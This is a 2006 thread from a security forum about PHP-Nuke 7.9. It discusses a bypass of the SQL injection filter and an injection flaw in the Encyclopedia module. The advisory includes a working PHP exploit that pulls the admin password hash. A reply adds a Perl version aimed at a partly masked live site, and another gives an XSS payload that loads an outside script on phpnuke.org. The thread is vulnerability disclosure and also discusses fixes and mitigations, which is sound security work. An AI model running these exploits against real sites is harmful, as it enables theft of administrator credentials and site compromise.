Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 21, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 86 Members: 0 Total: 86 Full disclosure SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI 4 vulnerabilities in ibmsecurity 32 vulnerabilities in IBM Security Verify Access xlibre Xnest security advisory & bugfix releases APPLE-SA-10-29-2024-1 Safari 18.1 SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600) SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333) APPLE-SA-10-28-2024-8 visionOS 2.1 APPLE-SA-10-28-2024-7 tvOS 18.1 APPLE-SA-10-28-2024-6 watchOS 11.1 APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1 APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> PhpNuke -> PHP-Nuke <= 7.9 SQL Injection and Bypass SQL Inj. filters View previous topic :: View next topic PHP-Nuke <= 7.9 SQL Injection and Bypass SQL Inj. filters Posted: Mon Oct 23, 2006 1:58 pm Paisterist Valuable expert Joined: Oct 23, 2006 Posts: 6 Location: Argentina Code: /* -------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22 -------------------------------------------------------- Program: PHP-Nuke Homepage: http://www.php.net Vulnerable Versions: PHP Nuke <= 7.9 Risk: High! Impact: Critical Risk -==PHP-Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==- --------------------------------------------------------- - Description --------------------------------------------------------- PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases. - Tested --------------------------------------------------------- localhost & many sites - Vulnerability Description --------------------------------------------------------- The most important and critical vulnerability is in the code designed to filter the POST inputs to protect the script against SQL Injections. ==[ mainfile.php 143-146 ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) { header("Location: index.php"); die(); } [...] ==[ end mainfile.php ]============================== The protection is very good... but we can bypass it by using something like '/**/UNION ' or ' UNION/**/' ;) Also i found a SQL Injection vulnerability in the Encyclopedia module. The "eid" variable isn't filtered at any moment, so if we bypass the sql injection protection we can execute arbitrary sql commands. With a simple UNION statement we get the md5 hash of the admin password. Here is the real life Proof of Concept exploit. ==Real Proof of Concept exploit== <? /* Neo Security Team - Exploit made by Paisterist on 2006-10-22 http://www.neosecurityteam.net */ $host="localhost"; $path="/phpnuke/"; $port="80"; $fp = fsockopen($host, $port, $errno, $errstr, 30); $data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM nuke_authors WHERE '1'='1"; if ($fp) { $p="POST ".$path."modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n"; $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n"; $p.="Referer: http://$host".$path."modules.php?name=Encyclopedia&file=search\r\n"; $p.="Accept-Language: es-ar\r\n"; $p.="Content-Type: application/x-www-form-urlencoded\r\n"; $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $p.="Host: $host\r\n"; $p.="Content-Length: ".strlen($data)."\r\n"; $p.="Pragma: no-cache\r\n"; $p.="Connection: keep-alive\r\n\r\n"; $p.=$data; fwrite($fp, $p); while (!feof($fp)) { $content .= fread($fp, 4096); } preg_match("/([a-zA-Z0-9]{32})/", $content, $matches); print "<b>Hash: </b>".$matches[0]; } ?> ==Real Proof of Concept exploit== Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table. - How to fix it? More information? -------------------------------------------------------- You can found a patch on http://www.neosecurityteam.net/foro/ Also, you can modify the line 143 of mainfile.php, adding one more protection like: ==[ mainfile.php old line (143) ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) { } [...] ==[ end mainfile.php ]===================================== ==[ mainfile.php new line (143) ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64, '*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) { } [...] ==[ end mainfile.php ]===================================== That's a momentary solution to the problem. I recommend to download the PHP-Nuke 8.0 version in the next days... it is not free at the moment. - References -------------------------------------------------------- http://www.neosecurityteam.net/index.php?action=advisories&id=27 - Credits -------------------------------------------------------- Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail [dot] com SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com [N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/ - Greets -------------------------------------------------------- HaCkZaTaN K4P0 Daemon21 Link 0m3gA_x LINUX nitrous m0rpheus nikyt0x KingMetal Knightmare Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!! @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@ '@@@@@''@@'@@@''''''''@@''@@@''@@ '@@'@@@@@@''@@@@@@ @@@'''''@@@ '@@'''@@@@'''''''''@@@''''@@@ @@@@''''@@'@@@@@@@@@@''''@@@@@ /* EOF */ I'm sure that there are a lot of more SQL Injections in PHP-Nuke... the important thing isn't the sql injection bug but the sql injection protection bypass See you P.D: thats a 5-min coded exploit... i'm not interested to coding a really well working exploit. Posted: Mon Oct 23, 2006 10:01 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu There is one big (really big!) mitigating factor, not mentioned in advisory - this kind of sql injection exists only, if php settings have: magic_quotes_gpc = Off In real world servers there is very few servers with such settings. And by the way, let's see source code from "modules/Your_Account/index.php" line ~812: Code: function login($username, $user_password, $redirect, $mode, $f, $t, $random_num, $gfx_check) { global $setinfo, $user_prefix, $db, $module_name, $pm_login, $prefix; include("config.php"); $sql = "SELECT user_password, user_id, storynum, umode, uorder, thold, noscore, ublockon, theme, commentmax FROM ".$user_prefix."_users WHERE username='$username'"; As you can see, there is no additional "addslashes()" or "mysql_real_escape_string()" used. So basically: IF php does not use "magic quotes" THEN sql injection exists even in user login function and basically user named "o'neill" can't log in becasue of the sql error So this kind of problem can be rated as "low" or "medium" by my opinion. Discussion is welcome! Posted: Tue Oct 24, 2006 2:55 am Paisterist Valuable expert Joined: Oct 23, 2006 Posts: 6 Location: Argentina I forgot to talk about magic_quotes_gpc... the critical bug is the sql injection protection bypass... the encyclopedia module bug is a stupid one, there are some more sql injection vulnerabilities on the script See you Posted: Tue Oct 24, 2006 1:38 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu By the way, encyclopedia module contains some very old XSS flaws: http://archives.neohapsis.com/archives/bugtraq/2004-06/0186.html I have been reporting them more than 2 years ago and still they are unpatched Thumbs up, Francisco Burzi Posted: Wed Oct 25, 2006 3:45 am Paisterist Valuable expert Joined: Oct 23, 2006 Posts: 6 Location: Argentina :O I saw some XSS vulnerabilities searching at Google... but i didn't know that the vulnerabilities where not patched :p Basically the advisory it's to show how to bypass the sql injection protection... that's the interesting thing =) See you Posted: Sun Oct 29, 2006 5:52 pm Ghozt Beginner Joined: Apr 16, 2006 Posts: 2 waraxe wrote: By the way, encyclopedia module contains some very old XSS flaws: http://archives.neohapsis.com/archives/bugtraq/2004-06/0186.html I have been reporting them more than 2 years ago and still they are unpatched Thumbs up, Francisco Burzi A lot of PHP-Nuke modules are vulnerable to XSS injection, even on phpnuke.org and nukecops.com, Search, Downloads, most things that allow user input. PoC: http://www.phpnuke.org/modules.php?name=Search&query=<script src=http://ha.ckers.org/xss.jpg &topic=&category=0&author=&days=0&type=stories You just need to break out and leave it open. Posted: Mon Nov 06, 2006 10:16 am bima Regular user Joined: Jun 14, 2004 Posts: 16 Location: dunia fana Paisterist wrote: I forgot to talk about magic_quotes_gpc... the critical bug is the sql injection protection bypass... the encyclopedia module bug is a stupid one, there are some more sql injection vulnerabilities on the script See you The perl version : Code: #!/usr/bin/perl # use LWP; use HTTP::Cookies; $log = "posku_postnukersss.txt"; $Agent = "MSIE"; #$proxy = "http://172.9.1.11:80/"; # proxy:port ... $browser = LWP::UserAgent->new; $browser -> agent($Agent); @waktu = localtime(time); $cookies = $waktu[2].'-'.$waktu[1].'-'.$waktu[0].'cookies.txt'; $browser->cookie_jar(HTTP::Cookies->new(file => $cookies, autosave => 1)); $url = 'http://www.casiXXXXXXXX.com/modules.php?name=Encyclopedia&file=search'; $browser->proxy(http => $proxy) if defined($proxy); printlog ("\nProcessing: $url\n"); $loginpost = $url; $loginrequest = HTTP::Request->new(POST => $loginpost); $loginrequest->content_type('application/x-www-form-urlencoded'); $loginsend = "query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM nuke_authors WHERE '1'='1"; $loginrequest->content-length($loginsend); $loginrequest->content($loginsend); $loginrequest->referer($url); $loginresponse = $browser->request($loginrequest); $logincek = $loginresponse->as_string; #printlog($logincek."\n\n"); my $kutukupret=join("",$loginresponse->as_string); $kutukupret=~ s/<!-(.*?)->//sg; $kutukupret=~ s/<[^>]*>//sg; $kutukupret=~ s/\s{2,}/ /sg; $cucok=$kutukupret=~m/Return to ([a-zA-Z0-9]{32}) \]\[/sg; if ($cucok) {printlog("Hash : $1\n");} else {printlog("\nHasil tidak cocok !\n"); printlog($loginresponse->as_string); die("Error...\n\n"); } sub printlog { print @_[0]; open(lo,">>$log"); print lo @_[0]; close(lo); return; } To obtain the admin's name, u can replace the pwd with aid in the query above... of course u must see carefully the server's responce, coz the regex above only catch the md5 hash (password) only Have a nice day... ./iko94 iko94.blogspot.com PHP-Nuke <= 7.9 SQL Injection and Bypass SQL Inj. filters www.waraxe.us Forum Index -> PhpNuke You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds